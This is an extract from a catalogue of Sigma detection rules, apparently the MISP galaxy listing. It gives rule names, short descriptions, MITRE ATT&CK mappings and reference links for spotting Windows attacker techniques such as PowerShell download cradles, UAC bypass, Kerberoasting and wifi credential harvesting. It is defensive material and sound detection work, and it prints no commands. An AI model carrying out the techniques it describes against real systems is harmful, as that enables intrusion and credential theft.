Weak or Abused Passwords In CLI

Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline

The tag is: *misp-galaxy:sigma-rules="Weak or Abused Passwords In CLI"*

Table 15014. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/
https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
https://thedfirreport.com/2022/09/26/bumblebee-round-two/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_weak_or_abused_passwords.yml

Suspicious PowerShell Download and Execute Pattern

Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Download and Execute Pattern"*

View relationships graph

Suspicious PowerShell Download and Execute Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15015. Table References

Links
https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70

https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_download_patterns.yml

Change Default File Association Via Assoc

Detects file association changes using the builtin "assoc" command. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

The tag is: *misp-galaxy:sigma-rules="Change Default File Association Via Assoc"*

View relationships graph

Change Default File Association Via Assoc has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001" with estimative-language:likelihood-probability="almost-certain"

Table 15016. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.001/T1546.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_assoc_execution.yml

Suspicious Rundll32 Execution With Image Extension

Detects the execution of Rundll32.exe with DLL files masquerading as image files

The tag is: *misp-galaxy:sigma-rules="Suspicious Rundll32 Execution With Image Extension"*

View relationships graph

Suspicious Rundll32 Execution With Image Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15017. Table References

Links
https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_execution_with_image_extension.yml

Potential Lateral Movement via Windows Remote Shell

Detects a child process spawned by 'winrshost.exe', which suggests remote command execution through Windows Remote Shell (WinRs) and may indicate potential lateral movement activity.

The tag is: *misp-galaxy:sigma-rules="Potential Lateral Movement via Windows Remote Shell"*

View relationships graph

Potential Lateral Movement via Windows Remote Shell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"

Table 15018. Table References

Links
https://cardinalops.com/blog/living-off-winrm-abusing-complexity-in-remote-management/
https://www.ired.team/offensive-security/lateral-movement/winrs-for-lateral-movement
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrshost_command_execution.yml

Query Usage To Exfil Data

Detects usage of "query.exe" a system binary to exfil information such as "sessions" and "processes" for later use

The tag is: *misp-galaxy:sigma-rules="Query Usage To Exfil Data"*

Table 15019. Table References

Links
https://twitter.com/MichalKoczwara/status/1553634816016498688
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_session_exfil.yml

PowerShell Download and Execution Cradles

Detects PowerShell download and execution cradles.

The tag is: *misp-galaxy:sigma-rules="PowerShell Download and Execution Cradles"*

View relationships graph

PowerShell Download and Execution Cradles has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15020. Table References

Links
https://labs.withsecure.com/publications/fin7-target-veeam-servers
https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_iex.yml

Potential Execution of Sysinternals Tools

Detects command lines that contain the 'accepteula' flag which could be a sign of execution of one of the Sysinternals tools

The tag is: *misp-galaxy:sigma-rules="Potential Execution of Sysinternals Tools"*

View relationships graph

Potential Execution of Sysinternals Tools has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

Table 15021. Table References

Links
https://twitter.com/Moti_B/status/1008587936735035392
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_eula_accepted.yml

Suspicious WindowsTerminal Child Processes

Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)

The tag is: *misp-galaxy:sigma-rules="Suspicious WindowsTerminal Child Processes"*

Table 15022. Table References

Links
https://persistence-info.github.io/Data/windowsterminalprofile.html
https://twitter.com/nas_bench/status/1550836225652686848

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_windows_terminal_susp_children.yml

Service StartupType Change Via PowerShell Set-Service

Detects the use of the PowerShell "Set-Service" cmdlet to change the startup type of a service to "disabled" or "manual"

The tag is: *misp-galaxy:sigma-rules="Service StartupType Change Via PowerShell Set-Service"*

View relationships graph

Service StartupType Change Via PowerShell Set-Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15023. Table References

Links
https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_service_disabled.yml

Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image

Detects potential commandline obfuscation using unicode characters. Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

The tag is: *misp-galaxy:sigma-rules="Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image"*

View relationships graph

Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 15024. Table References

Links
https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-6---dlp-evasion-via-sensitive-data-in-vba-macro-over-http
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_unicode_img.yml

Suspicious Kerberos Ticket Request via CLI

Detects suspicious Kerberos ticket requests via command line using System.IdentityModel.Tokens.KerberosRequestorSecurityToken class. Threat actors may use command line interfaces to request Kerberos tickets for service accounts in order to perform offline password cracking attacks commonly known as Kerberoasting or other Kerberos ticket abuse techniques like silver ticket attacks.

The tag is: *misp-galaxy:sigma-rules="Suspicious Kerberos Ticket Request via CLI"*

View relationships graph

Suspicious Kerberos Ticket Request via CLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 15025. Table References

Links
https://learn.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.kerberosrequestorsecuritytoken?view=netframework-4.8.1
https://www.huntress.com/blog/gootloader-threat-detection-woff2-obfuscation
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4---request-a-single-ticket-via-powershell
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_kerberos_kerberos_ticket_request_via_cli.yml

Suspicious Download from Office Domain

Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents

The tag is: *misp-galaxy:sigma-rules="Suspicious Download from Office Domain"*

View relationships graph

Suspicious Download from Office Domain has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Stage Capabilities - T1608" with estimative-language:likelihood-probability="almost-certain"

Table 15026. Table References

Links
https://twitter.com/an0n_r0/status/1474698356635193346?s=12
https://twitter.com/mrd0x/status/1475085452784844803?s=12
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_download_office_domain.yml

Response File Execution Via Odbcconf.EXE

Detects execution of "odbcconf" with the "-f" flag in order to load a response file which might contain a malicious action.

The tag is: *misp-galaxy:sigma-rules="Response File Execution Via Odbcconf.EXE"*

View relationships graph

Response File Execution Via Odbcconf.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"

Table 15027. Table References

Links
https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16
https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/
https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_response_file.yml

Service Started/Stopped Via Wmic.EXE

Detects usage of wmic to start or stop a service

The tag is: *misp-galaxy:sigma-rules="Service Started/Stopped Via Wmic.EXE"*

View relationships graph

Service Started/Stopped Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15028. Table References

Links
https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_service_manipulation.yml

PowerShell Execution With Potential Decryption Capabilities

Detects PowerShell commands that decrypt an ".LNK" "file to drop the next stage of the malware.

The tag is: *misp-galaxy:sigma-rules="PowerShell Execution With Potential Decryption Capabilities"*

Table 15029. Table References

Links
https://research.checkpoint.com/2023/chinese-threat-actors-targeting-europe-in-smugx-campaign/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_decrypt_pattern.yml

HackTool - TruffleSnout Execution

Detects the use of TruffleSnout.exe an iterative AD discovery toolkit for offensive operators, situational awareness and targeted low noise enumeration.

The tag is: *misp-galaxy:sigma-rules="HackTool - TruffleSnout Execution"*

View relationships graph

HackTool - TruffleSnout Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 15030. Table References

Links
https://github.com/dsnezhkov/TruffleSnout
https://github.com/dsnezhkov/TruffleSnout/blob/7c2f22e246ef704bc96c396f66fa854e9ca742b9/TruffleSnout/Docs/USAGE.md
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_trufflesnout.yml

UAC Bypass Tools Using ComputerDefaults

Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Tools Using ComputerDefaults"*

View relationships graph

UAC Bypass Tools Using ComputerDefaults has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15031. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_computerdefaults.yml

Remote Access Tool - ScreenConnect Potential Suspicious Remote Command Execution

Detects potentially suspicious child processes launched via the ScreenConnect client service.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - ScreenConnect Potential Suspicious Remote Command Execution"*

View relationships graph

Remote Access Tool - ScreenConnect Potential Suspicious Remote Command Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15032. Table References

Links
https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
https://docs.connectwise.com/ConnectWise_Control_Documentation/Get_started/Host_client/View_menu/Backstage_mode

https://www.trendmicro.com/en_us/research/24/b/threat-actor-groups-including-black-basta-are-exploiting-recent-.html
https://www.mandiant.com/resources/telegram-malware-iranian-espionage
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect_remote_execution_susp.yml

PowerShell Set-Acl On Windows Folder

Detects PowerShell scripts to set the ACL to a file in the Windows folder

The tag is: *misp-galaxy:sigma-rules="PowerShell Set-Acl On Windows Folder"*

Table 15033. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-5.1
https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_acl_susp_location.yml

Execute Code with Pester.bat as Parent

Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)

The tag is: *misp-galaxy:sigma-rules="Execute Code with Pester.bat as Parent"*

View relationships graph

Execute Code with Pester.bat as Parent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 15034. Table References

Links
https://twitter.com/*st0pp3r*/status/1560072680887525378
https://twitter.com/Oddvarmoe/status/993383596244258816
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pester.yml

Scheduled Task Creation Masquerading as System Processes

Detects the creation of scheduled tasks that involve system processes, which may indicate malicious actors masquerading as or abusing these processes to execute payloads or maintain persistence.

The tag is: *misp-galaxy:sigma-rules="Scheduled Task Creation Masquerading as System Processes"*

View relationships graph

Scheduled Task Creation Masquerading as System Processes has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

Table 15035. Table References

Links
https://tria.ge/241015-l98snsyeje/behavioral2
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system_process.yml

Non-privileged Usage of Reg or Powershell

Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry

The tag is: *misp-galaxy:sigma-rules="Non-privileged Usage of Reg or Powershell"*

View relationships graph

Non-privileged Usage of Reg or Powershell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15036. Table References

Links
https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-20-638.jpg
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_priv_reg_or_ps.yml

PowerShell MSI Install via WindowsInstaller COM From Remote Location

Detects the execution of PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`) hosted remotely. This could be indication of malicious software deployment or lateral movement attempts using Windows Installer functionality. And the usage of WindowsInstaller COM object rather than msiexec could be an attempt to bypass the detection.

The tag is: *misp-galaxy:sigma-rules="PowerShell MSI Install via WindowsInstaller COM From Remote Location"*

View relationships graph

PowerShell MSI Install via WindowsInstaller COM From Remote Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15037. Table References

Links
https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_comobject_msi_remote.yml

Powershell Inline Execution From A File

Detects inline execution of PowerShell code from a file

The tag is: *misp-galaxy:sigma-rules="Powershell Inline Execution From A File"*

View relationships graph

Powershell Inline Execution From A File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15038. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=50
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_exec_data_file.yml

Non Interactive PowerShell Process Spawned

Detects non-interactive PowerShell activity by looking at the "powershell" process with a non-user GUI process such as "explorer.exe" as a parent.

The tag is: *misp-galaxy:sigma-rules="Non Interactive PowerShell Process Spawned"*

View relationships graph

Non Interactive PowerShell Process Spawned has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15039. Table References

Links
https://web.archive.org/web/20200925032237/https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_non_interactive_execution.yml

Nltest.EXE Execution

Detects nltest commands that can be used for information discovery

The tag is: *misp-galaxy:sigma-rules="Nltest.EXE Execution"*

View relationships graph

Nltest.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 15040. Table References

Links

https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nltest_execution.yml

New User Created Via Net.EXE

Identifies the creation of local users via the net.exe command.

The tag is: *misp-galaxy:sigma-rules="New User Created Via Net.EXE"*

View relationships graph

New User Created Via Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Table 15041. Table References

Links
https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add.yml

Program Executed Using Proxy/Local Command Via SSH.EXE

Detect usage of the "ssh.exe" binary as a proxy to launch other programs.

The tag is: *misp-galaxy:sigma-rules="Program Executed Using Proxy/Local Command Via SSH.EXE"*

View relationships graph

Program Executed Using Proxy/Local Command Via SSH.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15042. Table References

Links
https://man.openbsd.org/ssh_config#LocalCommand
https://gtfobins.github.io/gtfobins/ssh/
https://lolbas-project.github.io/lolbas/Binaries/Ssh/

https://github.com/LOLBAS-Project/LOLBAS/pull/211/files
https://man.openbsd.org/ssh_config#ProxyCommand
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ssh_proxy_execution.yml

Exchange PowerShell Snap-Ins Usage

Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27

The tag is: *misp-galaxy:sigma-rules="Exchange PowerShell Snap-Ins Usage"*

View relationships graph

Exchange PowerShell Snap-Ins Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"

Table 15043. Table References

Links
https://www.intrinsec.com/apt27-analysis/
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_snapins_hafnium.yml

Harvesting Of Wifi Credentials Via Netsh.EXE

Detect the harvesting of wifi credentials using netsh.exe

The tag is: *misp-galaxy:sigma-rules="Harvesting Of Wifi Credentials Via Netsh.EXE"*

View relationships graph

Harvesting Of Wifi Credentials Via Netsh.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Table 15044. Table References

Links

https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_wifi_credential_harvesting.yml

HackTool - KrbRelay Execution

Detects the use of KrbRelay, a Kerberos relaying tool

The tag is: *misp-galaxy:sigma-rules="HackTool - KrbRelay Execution"*

View relationships graph

HackTool - KrbRelay Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 15045. Table References

Links
https://github.com/cube0x0/KrbRelay
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_krbrelay.yml

UAC Bypass Using PkgMgr and DISM

Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using PkgMgr and DISM"*

View relationships graph

UAC Bypass Using PkgMgr and DISM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15046. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_pkgmgr_dism.yml

Local File Read Using Curl.EXE

Detects execution of "curl.exe" with the "file://" protocol handler in order to read local files.

The tag is: *misp-galaxy:sigma-rules="Local File Read Using Curl.EXE"*

Table 15047. Table References

Links
https://curl.se/docs/manpage.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_local_file_read.yml

Active Directory Database Snapshot Via ADExplorer

Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database. This can be used by attackers to extract data for Bloodhound, usernames for password spraying or use the meta data for social engineering. The snapshot doesn't contain password hashes but there have been cases, where administrators put passwords in the comment field.

The tag is: *misp-galaxy:sigma-rules="Active Directory Database Snapshot Via ADExplorer"*

View relationships graph

Active Directory Database Snapshot Via ADExplorer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 15048. Table References

Links
https://www.packetlabs.net/posts/scattered-spider-is-a-young-ransomware-gang-exploiting-large-corporations/
https://trustedsec.com/blog/adexplorer-on-engagements
https://www.nccgroup.com/us/research-blog/lapsus-recent-techniques-tactics-and-procedures/
https://github.com/c3c/ADExplorerSnapshot.py/tree/f700904defac330802bbfedd1d8ffd9248f4ee24
https://learn.microsoft.com/de-de/sysinternals/downloads/adexplorer
https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_adexplorer_execution.yml

Powershell Token Obfuscation - Process Creation

Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation

The tag is: *misp-galaxy:sigma-rules="Powershell Token Obfuscation - Process Creation"*

View relationships graph

Powershell Token Obfuscation - Process Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009" with estimative-language:likelihood-probability="almost-certain"

Table 15049. Table References

Links
https://github.com/danielbohannon/Invoke-Obfuscation
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_token_obfuscation.yml

Disable Important Scheduled Task

Detects when adversaries stop services or processes by disabling their respective scheduled tasks in order to conduct data destructive activities

The tag is: *misp-galaxy:sigma-rules="Disable Important Scheduled Task"*

View relationships graph

Disable Important Scheduled Task has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 15050. Table References

Links
https://twitter.com/MichalKoczwara/status/1553634816016498688
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_disable.yml

New Service Creation Using PowerShell

Detects the creation of a new service using powershell.

The tag is: *misp-galaxy:sigma-rules="New Service Creation Using PowerShell"*

View relationships graph

New Service Creation Using PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 15051. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_create_service.yml

Potential Persistence Via Logon Scripts - CommandLine

Detects the addition of a new LogonScript to the registry value "UserInitMprLogonScript" for potential persistence

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Logon Scripts - CommandLine"*

View relationships graph

Potential Persistence Via Logon Scripts - CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"

Table 15052. Table References

Links
https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_logon_script.yml

Suspicious NTLM Authentication on the Printer Spooler Service

Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler

service

The tag is: *misp-galaxy:sigma-rules="Suspicious NTLM Authentication on the Printer Spooler Service"*

View relationships graph

Suspicious NTLM Authentication on the Printer Spooler Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"

Table 15053. Table References

Links
https://twitter.com/med0x2e/status/1520402518685200384
https://github.com/elastic/detection-rules/blob/dd224fb3f81d0b4bf8593c5f02a029d647ba2b2d/rules/windows/credential_access_relay_ntlm_auth_via_http_spoolss.toml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_ntlmrelay.yml

Invoke-Obfuscation Via Stdin

Detects Obfuscated Powershell via Stdin in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Stdin"*

View relationships graph

Invoke-Obfuscation Via Stdin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15054. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_stdin.yml

Suspicious Child Process of AspNetCompiler

Detects potentially suspicious child processes of "aspnet_compiler.exe".

The tag is: *misp-galaxy:sigma-rules="Suspicious Child Process of AspNetCompiler"*

View relationships graph

Suspicious Child Process of AspNetCompiler has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15055. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/
https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_aspnet_compiler_susp_child_process.yml

Potential MSTSC Shadowing Activity

